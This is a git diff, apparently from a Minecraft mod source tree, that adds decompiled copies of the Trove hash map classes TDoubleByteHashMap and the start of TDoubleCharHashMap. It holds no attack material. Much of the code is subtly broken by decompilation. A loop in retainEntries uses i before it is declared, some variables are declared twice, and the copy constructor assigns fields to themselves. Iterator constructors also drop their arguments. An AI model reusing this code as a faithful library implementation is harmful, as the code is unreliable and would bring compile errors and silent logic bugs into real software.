+  }
+  
+
+  public void putAll(Map<? extends Double, ? extends Byte> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Double, ? extends Byte> entry : map.entrySet()) {
+      put(((Double)entry.getKey()).doubleValue(), ((Byte)entry.getValue()).byteValue());
+    }
+  }
+  
+
+  public void putAll(TDoubleByteMap map)
+  {
+    ensureCapacity(map.size());
+    TDoubleByteIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public byte get(double key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public byte remove(double key)
+  {
+    byte prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TDoubleSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public double[] keys()
+  {
+    double[] keys = new double[size()];
+    double[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public double[] keys(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TByteCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public byte[] values()
+  {
+    byte[] vals = new byte[size()];
+    byte[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public byte[] values(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(byte val)
+  {
+    byte[] states = _states;
+    byte[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(double key)
+  {
+    return contains(key);
+  }
+  
+
+  public TDoubleByteIterator iterator()
+  {
+    return new TDoubleByteHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TDoubleProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TDoubleByteProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] keys = _set;
+    byte[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TByteFunction function)
+  {
+    byte[] states = _states;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TDoubleByteProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    double[] keys = _set;
+    byte[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(double key)
+  {
+    return adjustValue(key, (byte)1);
+  }
+  
+
+  public boolean adjustValue(double key, byte amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp20_18 = index; byte[] tmp20_15 = _values;tmp20_15[tmp20_18] = ((byte)(tmp20_15[tmp20_18] + amount));
+    return true;
+  }
+  
+
+
+  public byte adjustOrPutValue(double key, byte adjust_amount, byte put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    byte newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; byte[] tmp25_20 = _values;byte newValue = tmp25_20[tmp25_23] = (byte)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TDoubleSet
+  {
+    protected TKeyView() {}
+    
+    public TDoubleIterator iterator()
+    {
+      return new TDoubleByteHashMap.TDoubleByteKeyHashIterator(TDoubleByteHashMap.this, TDoubleByteHashMap.this);
+    }
+    
+
+    public double getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(double entry)
+    {
+      return TDoubleByteHashMap.this.contains(entry);
+    }
+    
+
+    public double[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public double[] toArray(double[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(double entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(double entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!TDoubleByteHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TDoubleCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TDoubleByteHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TDoubleSet)) {
+        return false;
+      }
+      TDoubleSet that = (TDoubleSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TByteCollection
+  {
+    protected TValueView() {}
+    
+    public TByteIterator iterator()
+    {
+      return new TDoubleByteHashMap.TDoubleByteValueHashIterator(TDoubleByteHashMap.this, TDoubleByteHashMap.this);
+    }
+    
+
+    public byte getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(byte entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public byte[] toArray()
+    {
+      return values();
+    }
+    
+
+    public byte[] toArray(byte[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(byte entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(byte entry)
+    {
+      byte[] values = _values;
+      double[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0.0D) && (set[i] != 2.0D) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TDoubleByteHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TDoubleByteKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    TDoubleByteKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public double next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TDoubleByteValueHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    TDoubleByteValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TDoubleByteHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleByteIterator
+  {
+    TDoubleByteHashIterator(TDoubleByteHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public double key()
+    {
+      return _set[_index];
+    }
+    
+    public byte value()
+    {
+      return _values[_index];
+    }
+    
+    public byte setValue(byte val)
+    {
+      byte old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TDoubleByteMap)) {
+      return false;
+    }
+    TDoubleByteMap that = (TDoubleByteMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    byte[] values = _values;
+    byte[] states = _states;
+    byte this_no_entry_value = getNoEntryValue();
+    byte that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        double key = _set[i];
+        byte that_value = that.get(key);
+        byte this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TDoubleByteProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(double key, byte value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeDouble(_set[i]);
+        out.writeByte(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      double key = in.readDouble();
+      byte val = in.readByte();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TDoubleCharHashMap.java b/src/minecraft/gnu/trove/map/hash/TDoubleCharHashMap.java
new file mode 100644
index 0000000..8acfb92
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TDoubleCharHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TDoubleCharHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.iterator.TDoubleCharIterator;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.map.TDoubleCharMap;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TDoubleCharProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.set.TDoubleSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleCharHashMap
+  extends TDoubleCharHash
+  implements TDoubleCharMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient char[] _values;
+  
+  public TDoubleCharHashMap() {}
+  
+  public TDoubleCharHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleCharHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TDoubleCharHashMap(int initialCapacity, float loadFactor, double noEntryKey, char noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleCharHashMap(double[] keys, char[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TDoubleCharHashMap(TDoubleCharMap map)
+  {
+    super(map.size());
+    if ((map instanceof TDoubleCharHashMap)) {
+      TDoubleCharHashMap hashmap = (TDoubleCharHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0.0D) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    double[] oldKeys = _set;
+    char[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new double[newCapacity];
+    _values = new char[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        double o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public char put(double key, char value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public char putIfAbsent(double key, char value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private char doPut(double key, char value, int index)
+  {
+    char previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Double, ? extends Character> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Double, ? extends Character> entry : map.entrySet()) {
+      put(((Double)entry.getKey()).doubleValue(), ((Character)entry.getValue()).charValue());
+    }
+  }
+  
+
+  public void putAll(TDoubleCharMap map)
+  {
+    ensureCapacity(map.size());
+    TDoubleCharIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public char get(double key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public char remove(double key)
+  {
+    char prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TDoubleSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public double[] keys()
+  {
+    double[] keys = new double[size()];
+    double[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public double[] keys(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TCharCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public char[] values()
+  {
+    char[] vals = new char[size()];
+    char[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public char[] values(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(char val)
+  {
+    byte[] states = _states;
+    char[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(double key)
+  {
+    return contains(key);
+  }
+  
+
+  public TDoubleCharIterator iterator()
+  {
+    return new TDoubleCharHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TDoubleProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TDoubleCharProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] keys = _set;
+    char[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TCharFunction function)
+  {
+    byte[] states = _states;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TDoubleCharProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    double[] keys = _set;
+    char[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(double key)
+  {
+    return adjustValue(key, '\001');
+  }
+  
+
+  public boolean adjustValue(double key, char amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp20_18 = index; char[] tmp20_15 = _values;tmp20_15[tmp20_18] = ((char)(tmp20_15[tmp20_18] + amount));
+    return true;
+  }
+  
+
+
+  public char adjustOrPutValue(double key, char adjust_amount, char put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    char newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; char[] tmp25_20 = _values;char newValue = tmp25_20[tmp25_23] = (char)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TDoubleSet
+  {
+    protected TKeyView() {}
+    
+    public TDoubleIterator iterator()
+    {
+      return new TDoubleCharHashMap.TDoubleCharKeyHashIterator(TDoubleCharHashMap.this, TDoubleCharHashMap.this);
+    }
+    
+
+    public double getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(double entry)
+    {
+      return TDoubleCharHashMap.this.contains(entry);
+    }
+    
+
+    public double[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public double[] toArray(double[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(double entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(double entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!TDoubleCharHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TDoubleCollection collection)
+    {
